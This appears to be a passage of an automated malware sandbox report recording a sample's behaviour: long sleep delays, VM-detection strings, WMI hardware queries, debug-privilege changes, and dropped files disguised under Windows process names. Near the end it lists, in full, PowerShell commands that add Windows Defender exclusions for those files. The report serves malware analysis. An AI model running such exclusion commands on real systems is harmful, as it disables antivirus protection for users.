Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583406s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583203s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -583078s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582953s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582781s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582656s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582422s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582281s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582140s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -582031s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581906s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581793s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581684s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581542s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581394s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581250s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -581100s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580984s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580874s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580750s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580640s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580488s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580367s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580199s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -580079s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -579956s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -579812s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -579437s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -579125s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -578968s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe TID: 8116	Thread sleep time: -578781s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7356	Thread sleep time: -30000s >= -30000s
Source: C:\Users\Default\dllhost.exe TID: 6844	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Portable Devices\services.exe TID: 2588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe TID: 3452	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\dllhost.exe TID: 6588	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Default\dllhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Default\dllhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\dllhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\dllhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\dllhost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Code function: 1_2_00007FFD9B89EC5A GetSystemInfo,

1_2_00007FFD9B89EC5A

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\services.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 30000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 600000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 599874
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 3600000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 598828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 598328
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 597047
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596859
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596703
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595750
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595484
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595343
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595223
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593687
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593562
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 300000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593265
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592859
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592656
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591781
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591265
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591140
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590812
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590500
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590234
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589797
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589484
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589218
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589045
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588734
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588547
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588312
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588093
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587814
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587531
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587390
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587218
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 587062
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586718
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586453
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586343
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586174
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 586000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585875
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585765
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585468
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585312
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 585078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584625
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584296
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 584187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583984
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583843
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583703
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583515
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 583078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582781
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582656
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582281
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582140
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 582031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581793
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581684
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581542
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581394
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581250
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 581100
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580984
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580874
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580750
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580488
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580367
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580199
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 580079
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579956
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579812
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 579125
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 578968
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 578781
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\services.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: decFF62.tmp, 00000001.00000002.1814925957.000000001CA27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\/
Source: svchost.exe, 0000002E.00000002.3124131970.00000206CB454000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002E.00000002.3120484937.00000206C5E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: decFF62.tmp, 00000001.00000002.1815036459.000000001CA57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: decFF62.tmp, 00000001.00000002.1814925957.000000001CA27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}3
Source: w32tm.exe, 00000025.00000002.1779042972.0000024BA91D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\Default\dllhost.exe	Process token adjusted: Debug
Source: C:\Users\Default\dllhost.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Process token adjusted: Debug
Source: C:\Program Files\Windows Portable Devices\services.exe	Process token adjusted: Debug
Source: C:\Program Files\Windows Portable Devices\services.exe	Process token adjusted: Debug
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'	Jump to behavior
